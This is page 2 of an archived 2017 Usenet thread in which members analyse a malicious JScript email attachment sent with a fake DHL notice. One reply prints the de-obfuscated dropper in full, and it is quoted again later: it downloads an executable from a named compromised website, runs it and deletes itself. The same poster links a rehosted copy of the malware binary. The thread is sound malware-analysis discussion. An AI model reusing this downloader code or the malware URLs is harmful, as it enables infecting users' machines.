Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > comp.lang.javascript > #32870 > unrolled thread

This is a VIRUS - how does it works?

Back to article view | Back to comp.lang.javascript

Contents

  This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-30 14:37 +0200
    Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-30 14:43 +0200
      Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-03-30 18:32 +0200
    Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-03-30 18:31 +0200
      Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-30 21:22 +0200
        Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-03-30 23:20 +0200
          Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-31 14:00 +0200
            Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-03-31 17:26 +0200
              Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-01 22:00 +0200
                Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-01 22:11 +0200
                  Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-02 21:02 +0200
                    Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-02 22:50 +0200
                      Re: This is a VIRUS - how does it works? a <a@inwind.it> - 2017-04-03 23:18 +0200
                        Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-03 23:22 +0200
                          Re: This is a VIRUS - how does it works? Tim Streater <timstreater@greenbee.net> - 2017-04-03 22:41 +0100
                          Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:58 +0200
                            Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-04 09:31 +0200
                              Re: This is a VIRUS - how does it works? Flippie Flink <flip@flink.not> - 2017-04-04 12:09 +0200
                        Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:50 +0200
        Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-03-31 00:51 +0200
          Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-31 14:05 +0200
            Re: This is a VIRUS - how does it works? Wally W. <ww84wa@aim.com> - 2017-03-31 11:54 -0400
              Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-01 21:56 +0200
    Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-02 01:07 +0200
      Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-04-02 14:31 +0200
        Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-02 15:07 +0200
          Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-04-14 22:10 +0200
      Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-02 21:45 +0200
        Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-03 03:03 +0200
          Re: This is a VIRUS - how does it works? a <a@inwind.it> - 2017-04-04 00:45 +0200
            Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:50 +0200
            Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-04 02:51 +0200
              Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-06 23:54 +0200
                Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-07 09:03 +0200
                  Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-07 23:05 +0200
                    Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-07 23:48 +0200
                      Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-08 14:09 +0200
                        Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-08 14:32 +0200
    Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-03 14:31 -0700
      Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-03 23:34 +0200
        Re: This is a VIRUS - how does it works? Andrew Poulos <ap_prog@hotmail.com> - 2017-04-04 11:35 +1000
          Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-04 09:36 +0200
      Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:59 +0200
        Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-03 16:08 -0700
          Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-03 16:17 -0700
          Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-05 13:58 -0700
        Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-19 12:59 -0700
          Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-20 00:13 +0200
            Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-19 16:59 -0700
              Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-20 08:49 +0200
                Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-05-01 13:40 -0700
    Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-12 14:06 +0200
      Re: This is a VIRUS - how does it works? <cyber@2trom.com> - 2017-04-12 13:59 +0000
        Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-12 22:23 +0200
          Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-12 22:28 +0200
          Re: This is a VIRUS - how does it works? <cyber@2trom.com> - 2017-04-12 21:55 +0000
          Re: This is a VIRUS - how does it works? "Michael Haufe (TNO)" <tno@thenewobjective.com> - 2017-04-14 12:34 -0700
            Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-14 22:42 +0200

Page 2 of 3 — ← Prev page 1 [2] 3  Next page →

#32890

On Fri, 31 Mar 2017 00:51:56 +0200, Thomas 'PointedEars' Lahn
<PointedEars@web.de> wrote:

>tom wrote:
>
>> Are you able to read the script I posted and tell me what it does?
>
>Yes.  Please read the FAQ now.

So the code tells "Please read the FAQ now",
never guessed about.

[toc] | [prev] | [next] | [standalone]

#32892

On Fri, 31 Mar 2017 14:05:04 +0200, tom wrote:

>On Fri, 31 Mar 2017 00:51:56 +0200, Thomas 'PointedEars' Lahn
><PointedEars@web.de> wrote:
>
>>tom wrote:
>>
>>> Are you able to read the script I posted and tell me what it does?
>>
>>Yes.  Please read the FAQ now.
>
>So the code tells "Please read the FAQ now",
>never guessed about.

An appropriate response when someone translates for you is, "Thank
you."

Evertjan encouraged you to read Usenet-Netiquette.

It appears to remain on your to-do list.

[toc] | [prev] | [next] | [standalone]

#32898

On Fri, 31 Mar 2017 11:54:39 -0400, Wally W. <ww84wa@aim.com> wrote:

>An appropriate response when someone translates for you is, "Thank
>you."

If he didn't translate it?

[toc] | [prev] | [next] | [standalone]

#32902

tom wrote:
> the body of the email invited me to open and read the attachment,
> I extracted on the Desktop folder the .jse file
> and I double-clicked the .jse file
> on my Windows 10 64 bit 
...
> QUESTION:
> 
> is there anybody who is able to understand what it does
> (and therefore what should have I delete more from my Windows 10 64
> bit...)?

The code you posted is not a virus itself. It only serves as a vehicle to
download the actual payload, which is a Windows executable file.

The JS code has been heavily obfuscated to mask what it does, but this
process can be reversed (up to a point). In your case, it will download a
file named bbb.png from a (presumably compromised) Italian website, store it
on your computer as an .exe file and run it. My curiosity ended there, I
didn't try to find out what exactly this program does.

There is an entry on VirusTotal for the bbb.png file:
<https://www.virustotal.com/en/file/f5fc3d694ce407203bd1471c75a02f12ddf88cd124fd8e05dad79956209fd650/analysis/>

It's recognized as malicious by 6 out of 61 engines. By itself, that doesn't
say much, but the way in which this file was delivered to you makes it
pretty obvious.
Relevant for you: Avast did NOT detect the malware.
(Spyhunter is not an antivirus engine, and is not included in the list. From
what I've now read about it, you should probably get rid of it.)

That's all I can say at this point. Standard procedure after a compromise is
to wipe the system, reinstall, and restore user data from know-good backups.
I assume the lesson about not executing random email attachments has been
learned.


- stefan


PS, if there is any interest in the de-obfuscated code, let me know.

[toc] | [prev] | [next] | [standalone]

#32903

Stefan Weiss wrote:

> Relevant for you: Avast did NOT detect the malware.

To be fair, they installed Avast only *after* they removed offending files 
and registry entries with SpyHunter …

> (Spyhunter is not an antivirus engine, and is not included in the list. 
> From what I've now read about it, you should probably get rid of it.)

… so that is a small point in favor of SpyHunter, and it says nothing about 
the capabilities of Avast.

Of course, installing an antivirus on an already compromised system can only 
help to determine the state of the system, but not reliably (false 
negatives).

-- 
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.

[toc] | [prev] | [next] | [standalone]

#32905

Thomas 'PointedEars' Lahn wrote:
>> Relevant for you: Avast did NOT detect the malware.
> 
> To be fair, they installed Avast only *after* they removed offending files 
> and registry entries with SpyHunter …
> 
>> (Spyhunter is not an antivirus engine, and is not included in the list. 
>> From what I've now read about it, you should probably get rid of it.)
> 
> … so that is a small point in favor of SpyHunter, and it says nothing about 
> the capabilities of Avast.

Yes, that's possible.

It's also possible that the files flagged by SpyHunter are unrelated to the
code Tom posted, and that neither SpyHunter nor Avast detected the new ones.

Tom, if you have a file named "uoaeeefxoexf" + digits + ".exe" in a temp
file directory [1], this would be the downloaded actual payload. If this
file still exists, it would be an indication that SpyHunter + Avast were not
successful in detecting it. (The absence of this file does not indicate
anything.)

Just in case... if you do find the file, do not execute it ;)


- stefan


[1]
I'm not familiar enough with Win10 to know which directory
GetSpecialFolder(2) from "Scripting.FileSystemObject" would return on a
standard installation.

[toc] | [prev] | [next] | [standalone]

#33007

Stefan Weiss wrote:

> Tom, if you have a file named "uoaeeefxoexf" + digits + ".exe" in a temp
> file directory [1], […]
> [1]
> I'm not familiar enough with Win10 to know which directory
> GetSpecialFolder(2) from "Scripting.FileSystemObject" would return on a
> standard installation.

Given <https://msdn.microsoft.com/en-us/library/a72y2t1c(v=vs.84).aspx>,

  echo "$TMP"

would output it in a POSIX-compliant shell.

[IE 11 on Windows 10 on BrowserStack did not execute

   new ActiveXObject("Scripting.FileSystemObject")

In theory, there is <https://github.com/xdissent/ievms>, but VirtualBox is 
currently not compatible with my system.]

-- 
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.

[toc] | [prev] | [next] | [standalone]

#32908

On Sun, 2 Apr 2017 01:07:32 +0200, Stefan Weiss <krewecherl@gmail.com>
wrote:

>tom wrote:
>> the body of the email invited me to open and read the attachment,
>> I extracted on the Desktop folder the .jse file
>> and I double-clicked the .jse file
>> on my Windows 10 64 bit 
>...
>> QUESTION:
>> 
>> is there anybody who is able to understand what it does
>> (and therefore what should have I delete more from my Windows 10 64
>> bit...)?
>
>The code you posted is not a virus itself. It only serves as a vehicle to
>download the actual payload, which is a Windows executable file.
>
>The JS code has been heavily obfuscated to mask what it does, but this
>process can be reversed (up to a point). In your case, it will download a
>file named bbb.png from a (presumably compromised) Italian website, store it
>on your computer as an .exe file and run it. My curiosity ended there, I
>didn't try to find out what exactly this program does.
>
>There is an entry on VirusTotal for the bbb.png file:
><https://www.virustotal.com/en/file/f5fc3d694ce407203bd1471c75a02f12ddf88cd124fd8e05dad79956209fd650/analysis/>
>
>It's recognized as malicious by 6 out of 61 engines. By itself, that doesn't
>say much, but the way in which this file was delivered to you makes it
>pretty obvious.
>Relevant for you: Avast did NOT detect the malware.
>(Spyhunter is not an antivirus engine, and is not included in the list. From
>what I've now read about it, you should probably get rid of it.)
>
>That's all I can say at this point. Standard procedure after a compromise is
>to wipe the system, reinstall, and restore user data from know-good backups.
>I assume the lesson about not executing random email attachments has been
>learned.
>
>
>- stefan
>
>
>PS, if there is any interest in the de-obfuscated code, let me know.

Thank you.

In the meanwhile:
I downloaded 'Malwarebytes Anti-Malware'
and performed the deepest scan,
and it found nothing
(just little things, the so called 'PUP' stuff, I already know I had...)
and 
I run the Windows10 'Defender' application (the deepest scan) and it 
it found nothing.

I'll spend few minutes for a manual search on the machine
in the search of the 'bbb.png' file (and other suspicious stuff).

If you copy and paste the de-obfuscated code I'll have a look.

I'm also thinking to run the. jse file again,
but this time monitoring what happens during its execution... ;
I think I'll see if the 'Avast' or the 'Malwarebytes Anti-Malware' software
(in their free version) could help me in this monitorizing task.
I'm very, very, curious now...

[toc] | [prev] | [next] | [standalone]

#32910

tom wrote:
> I'll spend few minutes for a manual search on the machine
> in the search of the 'bbb.png' file (and other suspicious stuff).

It won't be named bbb.png, the name should be "uoaeeefxoexf" + digits +
".exe", as mentioned elsewhere in this thread. But it's quite likely that
the malware would delete this file after it served its purpose.

> If you copy and paste the de-obfuscated code I'll have a look.

Sure, I'll add it after my reply. It's not very interesting, though; most of
the JS was nonsense, and what remains is a pretty straight-forward file
download.

> I'm also thinking to run the. jse file again,
> but this time monitoring what happens during its execution... ;
> I think I'll see if the 'Avast' or the 'Malwarebytes Anti-Malware' software
> (in their free version) could help me in this monitorizing task.
> I'm very, very, curious now...

I like curiosity :)

A simple way to examine malware safely is in a virtual machine, usually
without a network connection or connected to a dummy network, to prevent it
from spreading or causing other mischief. Create a VM with a clean Windows
install, make a snapshot, run the malware, make another snapshot, then
compare the two. There are plenty of tools for automatic malware analysis;
here's a list:
https://zeltser.com/automated-malware-analysis/

Good luck with your experiments.

- stefan



-----------------------------------------------------------------------

The first piece of code is what's left after all the cruft has been removed
from the obfuscated .jse file. The interesting part is stored in a string
variable, which I have named "code" below (all variables and functions have
been manually renamed by me). Every second letter in this string is noise
and must be removed before it can be evaluated.

The second part is the de-obfuscated contents of the "code" string. I have
decided to leave the URL to the malicious bbb.png intact, since it's trivial
to find files like this elsewhere. I've sent an email to the owner of the
website yesterday, but I'm not holding my breath... it seems to be a simple
restaurant website running Joomla as a CMS. They probably don't have anybody
available to take care of this issue.

-----------------------------------------------------------------------
// main code

if ((new ActiveXObject("WScript.shell"))
         .Exec("ipconfig")
         .StdOut
         .ReadAll()
         .match(/./))
{
    var code = 'vvmahrc 0n8itcms4oqu8fhaaipemmjpcdniyxzlxf2o2i9aj [snip]';
    //           v a r   n i c s o u f ...

    var delEveryOther = function (str) {
        str = str.split("");
        for (var i = 0; i < str.length; i += 2) {
            str[i] = "";
        }
        return str.join("");
    };

    (new Function("dummy", "return eval(arg)"))(delEveryOther(code));
}

-----------------------------------------------------------------------
// de-obfuscated content of the "code" variable

var urls = ["http://www.centrovetrine2.it/images/neutri/bbb.png"];
var wsShell = new ActiveXObject("WScript.Shell");
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tempDir = fs.GetSpecialFolder(2);

function createExeName ()
{
    return "/uoaeeefxoexf" + Math.round(Math.random() * 999999) + ".exe";
}

function executeFile (exePath)
{
    wsShell.Run(exePath);
}

function storeFile (content, filePath)
{
    stream.Open();
    stream.Type = 1;
    stream.Write(content);
    stream.Position = 0;
    stream.SaveToFile(filePath, 2);
    stream.Close();
}

function deleteSelf ()
{
    var thisScript = '';
    try {
        thisScript = WScript.ScriptFullName;
    } catch (e) {
        thisScript = window.location.pathname;
    }
    if (fs.FileExists(thisScript)) {
        if (!thisScript.match(/temp/i)) {
            try {
                fs.DeleteFile(thisScript);
            } catch (e) {}
        }
    }
}

var stream = new ActiveXObject("ADODB.Stream");
for (var i = 0; i < urls.length; i++) {
    var exePath = tempDir + createExeName();
    try {
        xhr.Open("GET", urls[i], false);
        xhr.Send();
        if (xhr.Status == 200) {
            storeFile(xhr.ResponseBody, exePath);
            executeFile(exePath);
        }
    } catch (e) {}
}
deleteSelf();

[toc] | [prev] | [next] | [standalone]

#32918

>-----------------------------------------------------------------------
>
>The first piece of code is what's left after all the cruft has been removed
>from the obfuscated .jse file. The interesting part is stored in a string
>variable, which I have named "code" below (all variables and functions have
>been manually renamed by me). Every second letter in this string is noise
>and must be removed before it can be evaluated.
>
>The second part is the de-obfuscated contents of the "code" string. I have
>decided to leave the URL to the malicious bbb.png intact, since it's trivial
>to find files like this elsewhere. I've sent an email to the owner of the
>website yesterday, but I'm not holding my breath... it seems to be a simple
>restaurant website running Joomla as a CMS. They probably don't have anybody
>available to take care of this issue.
>
>-----------------------------------------------------------------------
>// main code
>
>if ((new ActiveXObject("WScript.shell"))
>         .Exec("ipconfig")
>         .StdOut
>         .ReadAll()
>         .match(/./))
>{
>    var code = 'vvmahrc 0n8itcms4oqu8fhaaipemmjpcdniyxzlxf2o2i9aj [snip]';
>    //           v a r   n i c s o u f ...
>
>    var delEveryOther = function (str) {
>        str = str.split("");
>        for (var i = 0; i < str.length; i += 2) {
>            str[i] = "";
>        }
>        return str.join("");
>    };
>
>    (new Function("dummy", "return eval(arg)"))(delEveryOther(code));
>}
>
>-----------------------------------------------------------------------
>// de-obfuscated content of the "code" variable
>
>var urls = ["http://www.centrovetrine2.it/images/neutri/bbb.png"];
>var wsShell = new ActiveXObject("WScript.Shell");
>var xhr = new ActiveXObject("MSXML2.XMLHTTP");
>var fs = new ActiveXObject("Scripting.FileSystemObject");
>var tempDir = fs.GetSpecialFolder(2);
>
>function createExeName ()
>{
>    return "/uoaeeefxoexf" + Math.round(Math.random() * 999999) + ".exe";
>}
>
>function executeFile (exePath)
>{
>    wsShell.Run(exePath);
>}
>
>function storeFile (content, filePath)
>{
>    stream.Open();
>    stream.Type = 1;
>    stream.Write(content);
>    stream.Position = 0;
>    stream.SaveToFile(filePath, 2);
>    stream.Close();
>}
>
>function deleteSelf ()
>{
>    var thisScript = '';
>    try {
>        thisScript = WScript.ScriptFullName;
>    } catch (e) {
>        thisScript = window.location.pathname;
>    }
>    if (fs.FileExists(thisScript)) {
>        if (!thisScript.match(/temp/i)) {
>            try {
>                fs.DeleteFile(thisScript);
>            } catch (e) {}
>        }
>    }
>}
>
>var stream = new ActiveXObject("ADODB.Stream");
>for (var i = 0; i < urls.length; i++) {
>    var exePath = tempDir + createExeName();
>    try {
>        xhr.Open("GET", urls[i], false);
>        xhr.Send();
>        if (xhr.Status == 200) {
>            storeFile(xhr.ResponseBody, exePath);
>            executeFile(exePath);
>        }
>    } catch (e) {}
>}
>deleteSelf();


great job;

what the .jse file did, is clear now;

now the focus is on what the .exe file
executed in the fifth to last row of the posted code
executeFile(exePath);
could have done...

it will take me several days to try to discover it,
but I'll be back 

Note:
in the meanwhile
I copy/pasted/launched 
in my Firefox browser 
the "bbb.png" url
but I received an error, here it is:
404 - View not found [name, type, prefix]: category, png, contentView

[toc] | [prev] | [next] | [standalone]

#32921

opss, 

you surely read "a" as poster's name

but it is always me "tom"

sorry

[toc] | [prev] | [next] | [standalone]

#32926

a wrote:
> now the focus is on what the .exe file
> executed in the fifth to last row of the posted code
> executeFile(exePath);
> could have done...
> 
> it will take me several days to try to discover it,
> but I'll be back 
> 
> Note:
> in the meanwhile
> I copy/pasted/launched 
> in my Firefox browser 
> the "bbb.png" url
> but I received an error, here it is:
> 404 - View not found [name, type, prefix]: category, png, contentView

You're right, they actually did remove it. That's great!

But who am I to stand in the way of dangerously reckless experiments...
Here's a copy:

  http://foo.at/paste/2017/bbb.png.bin

Just to be perfectly clear: this is a Windows executable file, very likely
containing malware. In addition, you only have my word that this is the same
file your .jse originally downloaded. It could be anything. You're about to
execute code a random stranger posted on the Internet. Good luck :)

I will be removing this file in the next day or two. Seems a little
hypocritical to send a dire warning mail to the webmaster of the original
server, and then host the file myself.

Now that we're done with the JS part of this little mystery, there are other
groups better suited for discussions about IT security and reverse engineering.


- stefan

[toc] | [prev] | [next] | [standalone]

#32951

to Stefan, but to everyone too:

in the meanwhile, 
for analyzing purpose,
I used "Recuva" and another recovery software
(but not performing the longest scan 
because it would have required more than 20 hours...)
on my machine 
to try to undelete

- the "bbb.png" file 

- and the suspected "mswKs.exe"
(I spoke about it in my very first post)


but with no result;

so I grabbed the "bbb.png" file
provided by Stefan a post ago
and had a scan at virustotal.com site;
this is the result
https://www.virustotal.com/it/file/f5fc3d694ce407203bd1471c75a02f12ddf88cd124fd8e05dad79956209fd650/analysis/

As we can see,
Avast, SpyHunter and Malaware 
didn't not recognized it,
and this is a bad news for me,
because I used these antivirus few days ago
to try to detect something related to this virus...


Note:
I also tried to run the "bbb.png" file: 
I renamed it "bbb.exe" file (a nice icon appeared...)
and executed it on an old Windows 98 machine
with few monitoring tools,
but the file istantly crashed and performed nothing 
(my Windows 98 machine reported no differeneces at all after that
execution)


 

[toc] | [prev] | [next] | [standalone]

#32959

tom <tom@inwind.it> wrote on 06 Apr 2017 in comp.lang.javascript:

> but the file istantly crashed and performed nothing 

A file cannot crash, methinks.

Can you elaborate?

-- 
Evertjan.
The Netherlands.
(Please change the x'es to dots in my emailaddress)

[toc] | [prev] | [next] | [standalone]

#32962

On Fri, 07 Apr 2017 09:03:04 +0200, "Evertjan."
<exxjxw.hannivoort@inter.nl.net> wrote:

>tom <tom@inwind.it> wrote on 06 Apr 2017 in comp.lang.javascript:
>
>> but the file istantly crashed and performed nothing 
>
>A file cannot crash, methinks.
>
>Can you elaborate?

that file was an executable, that is an application, and applications do
crash.

This is the message Windows 98 gave me:
http://s16.imagestime.com/out.php/i1113780_errvir.jpg

[toc] | [prev] | [next] | [standalone]

#32963

tom <tom@inwind.it> wrote on 07 Apr 2017 in comp.lang.javascript:

> On Fri, 07 Apr 2017 09:03:04 +0200, "Evertjan."
> <exxjxw.hannivoort@inter.nl.net> wrote:
> 
>>tom <tom@inwind.it> wrote on 06 Apr 2017 in comp.lang.javascript:
>>
>>> but the file istantly crashed and performed nothing 
>>
>>A file cannot crash, methinks.
>>
>>Can you elaborate?
> 
> that file was an executable, that is an application, and applications do
> crash.

Okay, I would not have put it that way.

> This is the message Windows 98 gave me:
> http://s16.imagestime.com/out.php/i1113780_errvir.jpg

La computer e mobile!



-- 
Evertjan.
The Netherlands.
(Please change the x'es to dots in my emailaddress)

[toc] | [prev] | [next] | [standalone]

#32965

On Fri, 07 Apr 2017 23:48:20 +0200, "Evertjan."
<exxjxw.hannivoort@inter.nl.net> wrote:

>> This is the message Windows 98 gave me:
>> http://s16.imagestime.com/out.php/i1113780_errvir.jpg
>
>La computer e mobile!

My computer with Windows 98 is a desktop computer.

[toc] | [prev] | [next] | [standalone]

#32966

tom <tom@inwind.it> wrote on 08 Apr 2017 in comp.lang.javascript:

> On Fri, 07 Apr 2017 23:48:20 +0200, "Evertjan."
> <exxjxw.hannivoort@inter.nl.net> wrote:
> 
>>> This is the message Windows 98 gave me:
>>> http://s16.imagestime.com/out.php/i1113780_errvir.jpg
>>
>>La computer e mobile!
> 
> My computer with Windows 98 is a desktop computer.

La donna chained come Prometeo.

-- 
Evertjan.
The Netherlands.
(Please change the x'es to dots in my emailaddress)

[toc] | [prev] | [next] | [standalone]

#32915

On 3/30/2017 5:37 AM, tom wrote:
> Hallo,
>
> i received an email from a fake DHL corrier (about a package delivering),
> it had an attachment,
> the attachment was a "ST6890945.zip" file,
> it contained a .jse file,
> the file is "ST6890945.jse"
[...]

Do NOT open it!

Anyway, do not go to certain websites as well!

I remember that there was a crazy virus in Bob Lazars website that auto 
downloaded a trojan on windows, around 10-13 years ago. It was real.

[toc] | [prev] | [next] | [standalone]

#32916

"Chris M. Thomasson" <invalid@invalid.invalid> wrote on 03 Apr 2017 in 
comp.lang.javascript:

> Anyway, do not go to certain websites as well!

... and NEVER go out with strangers!

<https://youtu.be/hlSbSKNk9f0>

-- 
Evertjan.
The Netherlands.
(Please change the x'es to dots in my emailaddress)

[toc] | [prev] | [next] | [standalone]

Page 2 of 3 — ← Prev page 1 [2] 3  Next page →

Back to top | Article view | comp.lang.javascript

csiph-web